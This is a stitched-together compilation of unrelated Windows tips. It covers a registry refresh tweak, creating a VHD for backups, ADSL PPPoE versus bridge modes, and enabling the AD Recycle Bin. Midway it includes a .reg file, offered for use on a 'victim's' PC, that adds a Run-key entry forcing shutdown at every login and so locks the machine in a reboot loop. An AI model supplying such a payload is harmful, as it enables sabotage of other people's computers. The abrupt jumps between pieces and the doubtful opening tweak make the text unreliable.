Whenever you make a change to your windows you have to press
F5 or do a manual refresh.
With this tweak you can tell windows to increase the rate at which it does the
refreshing.
Navigate to the key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update. Create a newDWORD
value,
or modify the existing value, named UpdateMode and set it to equal
"0" for faster updates. Restart Windows for the change to take effect
You can create a VHD from the Disk
Management Console
As you know, using external
hard disks as backup devices has become very popular recently due to the fact
that they are now relatively inexpensive to purchase or build. I use several of
them for backups on my home and test systems.
The other day I was experimenting with Windows XP Mode on my Microsoft Windows
7 test system and was backing up my Windows XP Mode virtual machine and the
accompanying virtual hard disk (VHD), when it occurred to me that I could use a
VHD as a backup device.
Once I began experimenting with this technique, I knew that it would be perfect
complement to my overall backup strategy. I don't trust a single backup device
and like to have multiple backups just in case. Using VHDs, I can easily back
up my data and then just copy the VHD file to another external device.
In this edition of the Windows Desktop Report, I'll show you how to create and
use a VHD as a backup device.
Getting started
Because the technology is built right into the Windows 7 operating system, you
don't have to install Windows Virtual PC to create a VHD - you can do it right
from the Disk Management Console or even from the command line with the
Diskpart command. Let's take a look at the procedure using the Disk Management
Console. (I'll go over the Diskpart command procedure at a later time.)
To get started, click the Start button and type Diskmgmt.msc in the Start
Search box and then press [Enter]. When the Disk Management Console appears, as
shown, you're ready to create your VHD.
You'll then need to specify a location,
name, and size for your VHD
Creating a VHD
Pull down the Action menu and select the Create a VHD command. When you do,
you'll see the Create and Attach Virtual Hard Disk dialog box. You'll then need
to specify a location and name by clicking the Browse button. You then will
specify a size. The Size drop down will allow you to select the size of the VHD
in MB, GB, and, TB. As you can see in Figure B, I set up a 40GB VHD called My
VH Disk in the Documents folder.
You'll see a progress gauge at the bottom of
the Disk Management Console window
You can specify the format be either Dynamically expanding
or Fixed size. The latter is the default and is the option I chose for my VHD.
A fixed size VHD will create a file that is the same size as the virtual disk.
For example, if you create fixed VHD that is 40GB in size, the system will
create a host file approximately 40GB in size.
A dynamically expanding VHD will create a file that at any given time is as
large as the actual data written to it plus the size of the header and footer.
For example, if you create a virtual hard disk that is 40GB in size, the system
will create a host file approximately 80MB in size. As more data is written,
the file dynamically increases in size by allocating more disk space from the
host hard disk.
For the purposes of creating a virtual Back up device, either format is fine.
When you click OK, the Disk Management Console will begin creating the VHD.
Depending on the size that you selected, it may take a little while to create
the VHD. You'll see a progress gauge at the bottom of the Disk Management
Console window, as shown.
When you select the command you'll see the
Initialize Disk dialog box
Once the VHD is created, right click on its header panel on
the left side and select the Initialize Disk command and you'll see the
Initialize Disk dialog box, as shown. You'll see that your new disk is already
selected and since the GPT partition style is designed for 2TB disks or
Itanium-based computers, just go with the default MBR partition style and click
OK.
When you select the command and you'll see
the New Simple Volume Wizard
As you may know, MBR is the standard partitioning style
that's been used on hard disks since the PC first came out. (Just FYI: MBR
supports a maximum partition size of 2TB. GPT supports a maximum partition size
of 256TB.)
Initializing the disk is a very quick operation. Once it is complete right
click on right side and select the New Simple Volume command and you'll see the
New Simple Volume Wizard, as shown.
When you complete the wizard, an AutoPlay
dialog box will appear and prompt you to open the new drive
There are five steps in this wizard and you can just accept
all the default settings and click through to the end. When you do, the disk
will be formatted as an NTFS volume and an AutoPlay dialog box will appear and
prompt you to open the new drive, as shown.
You can locate and copy your VHD file to
multiple locations.
Implementing the VHD backup
strategy
To back up your data to the VHD, you can simply copy the files and folders from
your hard disk to the VHD or you can use Windows 7's Backup and Restore to
actually create its backup file on the VHD. You can then locate the actual VHD
file, as shown, and copy it to an external hard disk or to a network drive.
You can locate and copy your VHD file to multiple locations.
There are two ways to configure an
ADSL modem for broadband connection. One in PPPoE (Point to Point Protocol over
Ethernet) and the another is Bridge mode.
PPPoE Mode
In this mode the modem works as
router and the PPPoE session terminates on WAN port of router. The PPPoE client
is in built in the modem and allocated by BRAS server gets assigned to WAN port
of modem. The Internal network has to use the private IP and for Internet
access NATing happens in modem. In PPPoE mode the modem is configured in such a
way that the user id and password are stored inside the Modem. Internet
connection will be established as you switch on the Modem.
PPPoE
Mode
Bridge Mode
In this mode the modem works as
transparent Ethernet bridge and therefore you need to run the PPPoE client
software ( for login authentication) on your PC/server. WIN XP systems have
this feature inbuilt but for other operating systems you need to buy it from
market. Some freeware like RASPPPoE, Enternet etc. are also available on the
Internet.
bridge mode
Both the modes can be used as per
the requirement and application. Here enumerating the main differences
PPPoE mode
1. User id and password stored
inside the Modem.
2. Multiple PCs can be connected.
For example most of the basic ADSL Modems having at least one ADSL port and one
USB port. In PPPoE mode, can connect one PC to Ethernet port and one PC to USB
port which enable simultaneous internet usage in both the PCs.
3. PPPoE mode is more secured.
4. For Torrents download,
appropriate ports need to be forwarded.
Bridge Mode
1. In bridge mode user id and password to be entered in the dialer of computer.
2. Only single PC can be connected.
3. For torrents
download port forwarding is not required.
4. Less secured because all the ports are open need good firewall to avoid
virus infection.
put this followin text in a .reg
file and run it in the victims pc:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W
indows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz
this new Virus ah\" -f"
DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you,
start windows in safe mode, and open registry editor by typiing REGEDIT in
start->run. navigate to
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
and remove
the string value named VIRUS, restart you computer.
One nice thing is that some of the new features can easily run on a
member server or workstation and work fine in your current domains. You
don't need to convince anyone about a schema update or new Windows 8
Domain Controllers right now. Enjoy the new features with no risk (I'd
argue there is not a lot of risk in adding a domain controller but I
understand leadership wanting to wait on domain controllers)
One of those features is the AD
Recycle Bin GUI. That is a nice addition that system
administrators have been asking for since 2008 R2 was released. Your
forest does have to be at 2008 R2 Forest Functional Level to enable the
recycle bin.
Many people enabled and used the AD
Recycle Bin in 2008 R2 There are even some 3rd
party tools that can help and put a GUI front end
around the Recycle Bin. In my opinion the GUI in Windows Server 8 is
much nicer and is definitely a reason to add a Windows Server 8 member
server now.
In my lab I have a 2008 R2 (forest functional level 2008 R2) Domain
Controller and a Windows Server 8 Beta member server.
Windows 2008 R2
Domain
SIDE NOTE: As you can see my test domain is
named USMCThanksForYourService.mil I've heard there might be
some Marines stationed in Afghanistan reading this entry so a heartfelt
thanks for all you all do. It takes a lot of courage to be in the
military right now and you all are on the front lines. THANK YOU!!
SIDE NOTE II: Although I'm an Army vet I
support all branches of the military. Any other military members
reading my blog? Leave a comment, I'd love to hear from you.
So people don't think I'm cheating I'll first verify that the Recycle
Bin is not enabled by using the powershell command Get-ADOptionalFeature
-Filter {name -like "*Recycle Bin*"} If EnabledScopes is empty
that indicates the Recycle Bin has not been enabled.
AD Recycle Bin
not enabled
I also join the Windows Server 8 Beta machine to the domain.
Adding Windows 8
Server to the domain
Once the server is added to the USMCThanksForYourService.mil domain I
have to install the Remote Server Administration Tools (RSAT) Feature
for Active Directory so I can have access to the necessary AD tools and
fetures.
Adding Roles and
Features in Server Manager
Adding RSAT
Features
Adding RSAT
Features Part II
Once the RSAT tools have been installed you are ready to
use Active Directory Administrative Center (ADAC) against your 2008 R2
domain.
You can enable the AD Recycle Bin from the GUI now instead of
the old way
using Powershell
Selecting ADAC
from Server Manager in Windows 8
Enabling the AD
Recycle Bin from Windows Server 8 Member Server ADAC
AD Recycle Bin
Confirmation 1
AD Recycle Bin Confirmation 2
Just want to confirm that the AD Recycle Bin has been
enabled. Notice this time the same command yielded an entry in
"EnabledScopes"...success
AD Recycle Bin
Enabled - Confirmation
A quick tutorial of the new feature now that it is
enabled and the member server is up and ready to go.
As you can see there is a user named Dakota Meyer who is
in the group "MedalofHonor"
A
young contractor was really excited and lost his mind and accidentally
deleted the account. Luckily the USMC leadership had allowed this
Windows 8 Member Server and Dakota's account would be restored in a few
clicks.
In ADAC Navigate
to the Deleted Objects Container
Notice the
deleted user is listed. Right click on the user for Restore Options
In ADAC we
confirm that the user has been successfully restored
On the 2008 R2 DC the restore is confirmed
using ADUC
